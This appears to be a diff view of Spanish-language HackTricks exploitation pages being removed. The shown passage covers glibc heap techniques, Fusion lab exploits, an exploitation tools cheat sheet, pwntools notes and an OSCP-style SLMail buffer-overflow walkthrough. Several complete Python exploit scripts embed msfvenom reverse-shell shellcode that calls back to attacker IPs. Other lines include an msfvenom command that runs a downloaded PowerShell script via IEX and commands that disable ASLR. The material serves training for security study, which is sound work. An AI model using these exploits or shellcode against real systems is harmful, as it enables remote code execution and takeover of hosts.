Si por ejemplo el programa preguntase al usuario por un número podríamos introducir 48 y apuntar el puntero de malloc modificable a los siguientes 4bytes (que podrían pertenecer al EBP con suerte, así el 48 queda por detrás, como si fuese la cabecera size). Además, la dirección ptr-4+48 debe cumplir varias condiciones (siendo en este caso ptr=EBP), es decir, 8 < ptr-4+48 < av->system_mem.
En caso de que esto se cumpla, cuando se llame al siguiente malloc que dijimos que era malloc(40) se le asignará como dirección la dirección del EBP. En caso de que el atacante también pueda controlar lo que se escribe en este malloc puede sobreescribir tanto el EBP como el EIP con la dirección que quiera.
Esto creo que es porque así cuando lo libere free() guardará que en la dirección que apunta al EBP del stack hay un trozo de tamaño perfecto para el nuevo malloc() que se quiere reservar, así que le asigna esa dirección.
**The House of Force**
Es necesario:
- Un overflow a un trozo que permita sobreescribir el wilderness
- Una llamada a malloc() con el tamaño definido por el usuario
- Una llamada a malloc() cuyos datos puedan ser definidos por el usuario
Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande (0xffffffff), así cual quiera solicitud de memoria lo suficientemente grande será tratada en \_int_malloc() sin necesidad de expandir el heap
Lo segundo es alterar el av->top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av->top se pondrá \&EIP - 8.
Tenemos que sobreescrbir av->top para que apunte a la zona de memoria bajo el control del atacante:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim recoge el valor de la dirección del trozo wilderness actual (el actual av->top) y remainder es exactamente la suma de esa dirección más la cantidad de bytes solicitados por malloc(). Por lo que si \&EIP-8 está en 0xbffff224 y av->top contiene 0x080c2788, entonces la cantidad que tenemos que reservar en el malloc controlado para que av->top quede apuntando a $EIP-8 para el próximo malloc() será:
0xbffff224 - 0x080c2788 = 3086207644.
Así se guardará en av->top el valor alterado y el próximo malloc apuntará al EIP y lo podrá sobreescribir.
Es importante saber que el size del nuevo trozo wilderness sea más grande que la solicitud realizada por el último malloc(). Es decir, si el wilderness está apuntando a \&EIP-8, el size quedará justo en el campo EBP del stack.
**The House of Lore**
**Corrupción SmallBin**
Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introduciros se guardan en unsorted bins. Un trozo es liberado no se mete inmediatamente en su bin sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir se lo devuelve, pero si se reserva más grande, el trozo liberado en unsorted bins se mete en su bin adecuado.
Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av->max_fast (72normalmente) y menos a MIN_LARGE_SIZE (512).
Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo:
bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar.
bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack al siguiente trozo reservado se le dará esta dirección
bck->fd = bin; Se cierra la lista haciendo que este apunte a bin
Se necesita:
Que se reserven dos malloc, de forma que al primero se le pueda hacer overflow después de que el segundo haya sido liberado e introducido en su bin (es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el overflow)
Que el malloc reservado al que se le da la dirección elegida por el atacante sea controlada por el atacante.
El objetivo es el siguiente, si podemos hacer un overflow a un heap que tiene por debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, a bin se le engañará y se le dirá que el último trozo de la lista (el siguiente en ofrecer) está en la dirección falsa que hayamos puesto (al stack o GOT por ejemplo). Por lo que si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella.
Tras liberar el trozo modificado es necesario que se reserve un trozo mayor al liberado, así el trozo modificado saldrá de unsorted bins y se introduciría en su bin.
Una vez en su bin es el momento de modificarle el puntero bk mediante el overflow para que apunte a la dirección que queramos sobreescribir.
Así el bin deberá esperar turno a que se llame a malloc() suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. Y a continuación se dará el trozo que nos interesa.
Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida.
Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero.
**Corrupción LargeBin**
Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512.
El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE.
Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede quedar negativa porque se compara un unsigned)
Además se ha introducido un parche para hacerlo aún más complicado.
**Heap Spraying**
Básicamente consiste en reservar tooda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximos posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops.
**Heap Feng Shui**
Consiste en mediante reservas y liberaciones sementar la memoria de forma que queden trozos reservados entre medias de trozos libres. El buffer a desbordar se situará en uno de los huevos.
**objdump -d ejecutable** —> Disas functions\
**objdump -d ./PROGRAMA | grep FUNCION** —> Get function address\
**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes\
**objdump -t ./exec | grep varBss** —> Tabla de símbolos, para sacar address de variables y funciones\
**objdump -TR ./exec | grep exit(func lib)** —> Para sacar address de funciones de librerías (GOT)\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobreescribir en le GOT\
**objdump -D ./exec** —> Disas ALL hasta las entradas de la plt\
**objdump -p -/exec**\
**Info functions strncmp —>** Info de la función en gdb
## Interesting courses
- [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
- [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
- [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **References**
- [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html)
{{#include ../../banners/hacktricks-training.md}}

60
src/exploiting/linux-exploiting-basic-esp/fusion.md
View File

@ -1,60 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Level00
[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
1. Obtener el desplazamiento para modificar EIP
2. Colocar la dirección del shellcode en EIP
```python
from pwn import *
r = remote("192.168.85.181", 20000)
buf = "GET " # Needed
buf += "A"*139 # Offset 139
buf += p32(0xbffff440) # Stack address where the shellcode will be saved
buf += " HTTP/1.1" # Needed
buf += "\x90"*100 # NOPs
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"
r.recvline()
r.send(buf)
r.interactive()
```
# Nivel01
```python
from pwn import *
r = remote("192.168.85.181", 20001)
buf = "GET " # Needed
buf += "A"*139 # Offset 139
buf += p32(0x08049f4f) # Adress of: JMP esp
buf += p32(0x9090E6FF) # OPCODE: JMP esi (the esi register have the address of the shellcode)
buf += " HTTP/1.1" # Needed
buf += "\x90"*100 # NOPs
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"
r.send(buf)
r.interactive()
```
{{#include ../../banners/hacktricks-training.md}}

210
src/exploiting/tools/README.md
View File

@ -1,210 +0,0 @@
# Herramientas de Explotación
{{#include ../../banners/hacktricks-training.md}}
## Metasploit
```
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes
```
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
## GDB
### Instalar
```
apt-get install gdb
```
### Parámetros
```bash
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process
```
### Instrucciones
```bash
run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit
# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process
# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes
# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate
# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table
# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61
#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
### Tricks
#### GDB mismas direcciones
Mientras depuras, GDB tendrá **direcciones ligeramente diferentes a las utilizadas por el binario cuando se ejecuta.** Puedes hacer que GDB tenga las mismas direcciones haciendo:
- `unset env LINES`
- `unset env COLUMNS`
- `set env _=<path>` _Pon la ruta absoluta al binario_
- Explota el binario utilizando la misma ruta absoluta
- `PWD` y `OLDPWD` deben ser las mismas al usar GDB y al explotar el binario
#### Backtrace para encontrar funciones llamadas
Cuando tienes un **binario vinculado estáticamente**, todas las funciones pertenecerán al binario (y no a bibliotecas externas). En este caso, será difícil **identificar el flujo que sigue el binario para, por ejemplo, pedir entrada del usuario**.\
Puedes identificar fácilmente este flujo **ejecutando** el binario con **gdb** hasta que se te pida entrada. Luego, deténlo con **CTRL+C** y usa el comando **`bt`** (**backtrace**) para ver las funciones llamadas:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
#1 0x0000000000400b90 in ?? ()
#2 0x0000000000400c1d in ?? ()
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
### Servidor GDB
`gdbserver --multi 0.0.0.0:23947` (en IDA tienes que llenar la ruta absoluta del ejecutable en la máquina Linux y en la máquina Windows)
## Ghidra
### Encontrar desplazamiento de pila
**Ghidra** es muy útil para encontrar el **desplazamiento** para un **desbordamiento de búfer gracias a la información sobre la posición de las variables locales.**\
Por ejemplo, en el ejemplo a continuación, un desbordamiento de búfer en `local_bc` indica que necesitas un desplazamiento de `0xbc`. Además, si `local_10` es una cookie canaria, indica que para sobrescribirla desde `local_bc` hay un desplazamiento de `0xac`.\
_Recuerda que los primeros 0x08 desde donde se guarda el RIP pertenecen al RBP._
![](<../../images/image (616).png>)
## GCC
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compilar sin protecciones\
**-o** --> Salida\
**-g** --> Guardar código (GDB podrá verlo)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Para desactivar el ASLR en linux
**Para compilar un shellcode:**\
**nasm -f elf assembly.asm** --> devuelve un ".o"\
**ld assembly.o -o shellcodeout** --> Ejecutable
## Objdump
**-d** --> **Desensamblar ejecutable** secciones (ver opcodes de un shellcode compilado, encontrar ROP Gadgets, encontrar dirección de función...)\
**-Mintel** --> **Sintaxis Intel**\
**-t** --> Tabla de **símbolos**\
**-D** --> **Desensamblar todo** (dirección de variable estática)\
**-s -j .dtors** --> sección dtors\
**-s -j .got** --> sección got\
\-D -s -j .plt --> sección **plt** **descompilada**\
**-TR** --> **Reubicaciones**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Dirección de "puts" para modificar en GOT\
**objdump -D ./exec | grep "VAR_NAME"** --> Dirección o una variable estática (esas se almacenan en la sección DATA).
## Volcados de núcleo
1. Ejecuta `ulimit -c unlimited` antes de iniciar mi programa
2. Ejecuta `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<path/core> --quiet
## Más
**ldd executable | grep libc.so.6** --> Dirección (si ASLR, entonces esto cambia cada vez)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Bucle para ver si la dirección cambia mucho\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Desplazamiento de "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Desplazamiento de "/bin/sh"
**strace executable** --> Funciones llamadas por el ejecutable\
**rabin2 -i ejecutable -->** Dirección de todas las funciones
## **Inmunity debugger**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
## IDA
### Depuración en linux remoto
Dentro de la carpeta IDA puedes encontrar binarios que se pueden usar para depurar un binario dentro de un linux. Para hacerlo, mueve el binario _linux_server_ o _linux_server64_ dentro del servidor linux y ejecútalo dentro de la carpeta que contiene el binario:
```
./linux_server64 -Ppass
```
Luego, configura el depurador: Depurador (remoto de linux) --> Opciones de proceso...:
![](<../../images/image (101).png>)
{{#include ../../banners/hacktricks-training.md}}

146
src/exploiting/tools/pwntools.md
View File

@ -1,146 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
```
pip3 install pwntools
```
# Pwn asm
Obtén opcodes de una línea o archivo.
```
pwn asm "jmp esp"
pwn asm -i <filepath>
```
**Puede seleccionar:**
- tipo de salida (raw, hex, string, elf)
- contexto del archivo de salida (16, 32, 64, linux, windows...)
- evitar bytes (nuevas líneas, nulo, una lista)
- seleccionar codificador de shellcode de depuración usando gdb ejecutar la salida
# **Pwn checksec**
Script checksec
```
pwn checksec <executable>
```
# Pwn constgrep
# Pwn cyclic
Obtén un patrón
```
pwn cyclic 3000
pwn cyclic -l faad
```
**Puede seleccionar:**
- El alfabeto utilizado (caracteres en minúscula por defecto)
- Longitud del patrón único (por defecto 4)
- contexto (16,32,64,linux,windows...)
- Tomar el desplazamiento (-l)
# Pwn debug
Adjuntar GDB a un proceso
```
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
```
**Puede seleccionar:**
- Por ejecutable, por nombre o por contexto de pid (16,32,64,linux,windows...)
- gdbscript para ejecutar
- sysrootpath
# Pwn deshabilitar nx
Deshabilitar nx de un binario
```
pwn disablenx <filepath>
```
# Pwn disasm
Desensamblar opcodes hexadecimales
```
pwn disasm ffe4
```
**Puede seleccionar:**
- contexto (16,32,64,linux,windows...)
- dirección base
- color (predeterminado)/sin color
# Pwn elfdiff
Imprime las diferencias entre 2 archivos
```
pwn elfdiff <file1> <file2>
```
# Pwn hex
Obtener representación hexadecimal
```bash
pwn hex hola #Get hex of "hola" ascii
```
# Pwn phd
Obtener hexdump
```
pwn phd <file>
```
**Puede seleccionar:**
- Número de bytes a mostrar
- Número de bytes por línea resaltar byte
- Omitir bytes al principio
# Pwn pwnstrip
# Pwn scrable
# Pwn shellcraft
Obtener shellcodes
```
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
```
**Puede seleccionar:**
- shellcode y argumentos para el shellcode
- Archivo de salida
- formato de salida
- depuración (adjuntar dbg al shellcode)
- antes (trampa de depuración antes del código)
- después
- evitar usar opcodes (predeterminado: no nulo y nueva línea)
- Ejecutar el shellcode
- Color/sin color
- listar syscalls
- listar posibles shellcodes
- Generar ELF como una biblioteca compartida
# Plantilla Pwn
Obtén una plantilla de python
```
pwn template
```
**Puede seleccionar:** host, puerto, usuario, contraseña, ruta y silencioso
# Pwn unhex
De hex a cadena
```
pwn unhex 686f6c61
```
# Actualización de Pwn
Para actualizar pwntools
```
pwn update
```
{{#include ../../banners/hacktricks-training.md}}

227
src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md
View File

@ -1,227 +0,0 @@
# Windows Exploiting (Guía Básica - Nivel OSCP)
{{#include ../banners/hacktricks-training.md}}
## **Comenzar a instalar el servicio SLMail**
## Reiniciar el servicio SLMail
Cada vez que necesites **reiniciar el servicio SLMail** puedes hacerlo usando la consola de Windows:
```
net start slmail
```
![](<../images/image (23) (1).png>)
## Plantilla de exploit de python muy básica
```python
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
## **Cambiar la fuente de Immunity Debugger**
Ve a `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
## **Adjuntar el proceso a Immunity Debugger:**
**File --> Attach**
![](<../images/image (24) (1) (1).png>)
**Y presiona el botón START**
## **Envía el exploit y verifica si EIP está afectado:**
![](<../images/image (25) (1) (1).png>)
Cada vez que interrumpas el servicio, debes reiniciarlo como se indica al principio de esta página.
## Crear un patrón para modificar el EIP
El patrón debe ser tan grande como el buffer que usaste para romper el servicio anteriormente.
![](<../images/image (26) (1) (1).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
Cambia el búfer del exploit y establece el patrón y lanza el exploit.
Un nuevo fallo debería aparecer, pero con una dirección EIP diferente:
![](<../images/image (27) (1) (1).png>)
Verifica si la dirección estaba en tu patrón:
![](<../images/image (28) (1) (1).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
Parece que **podemos modificar el EIP en el offset 2606** del buffer.
Verifícalo modificando el buffer del exploit:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
Con este búfer, el EIP que se bloqueó debería apuntar a 42424242 ("BBBB")
![](<../images/image (30) (1) (1).png>)
![](<../images/image (29) (1) (1).png>)
Parece que está funcionando.
## Verificar el espacio para Shellcode dentro de la pila
600B debería ser suficiente para cualquier shellcode potente.
Vamos a cambiar el búfer:
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
lance el nuevo exploit y verifique el EBP y la longitud del shellcode útil
![](<../images/image (31) (1).png>)
![](<../images/image (32) (1).png>)
Puede ver que cuando se alcanza la vulnerabilidad, el EBP apunta al shellcode y que tenemos mucho espacio para ubicar un shellcode aquí.
En este caso tenemos **de 0x0209A128 a 0x0209A2D6 = 430B.** Suficiente.
## Verifique los caracteres no deseados
Cambia nuevamente el buffer:
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
Los badchars comienzan en 0x01 porque 0x00 es casi siempre malo.
Ejecuta repetidamente el exploit con este nuevo buffer eliminando los caracteres que se encuentran como inútiles:
Por ejemplo:
En este caso puedes ver que **no deberías usar el char 0x0A** (nada se guarda en memoria ya que el char 0x09).
![](<../images/image (33) (1).png>)
En este caso puedes ver que **se evita el char 0x0D**:
![](<../images/image (34) (1).png>)
## Encuentra un JMP ESP como dirección de retorno
Usando:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
Ahora, dentro de esta memoria deberías encontrar algunos bytes JMP ESP, para hacer eso ejecuta:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
**Entonces, si se encuentra alguna dirección, elige una que no contenga ningún badchar:**
![](<../images/image (36) (1).png>)
**En este caso, por ejemplo: \_0x5f4a358f**\_
## Crear shellcode
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
Si el exploit no está funcionando pero debería (puedes ver con ImDebg que se alcanza el shellcode), intenta crear otros shellcodes (msfvenom con crear diferentes shellcodes para los mismos parámetros).
**Agrega algunos NOPS al principio** del shellcode y úsalo junto con la dirección de retorno para JMP ESP, y termina el exploit:
```bash
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
> [!WARNING]
> Hay shellcodes que **se sobrescriben a sí mismos**, por lo tanto, es importante siempre agregar algunos NOPs antes del shellcode
## Mejorando el shellcode
Agrega estos parámetros:
```
EXITFUNC=thread -e x86/shikata_ga_nai
```
{{#include ../banners/hacktricks-training.md}}

82
src/forensics/basic-forensic-methodology/README.md
View File

@ -1,82 +0,0 @@
# Metodología Forense Básica
{{#include ../../banners/hacktricks-training.md}}
## Creación y Montaje de una Imagen
{{#ref}}
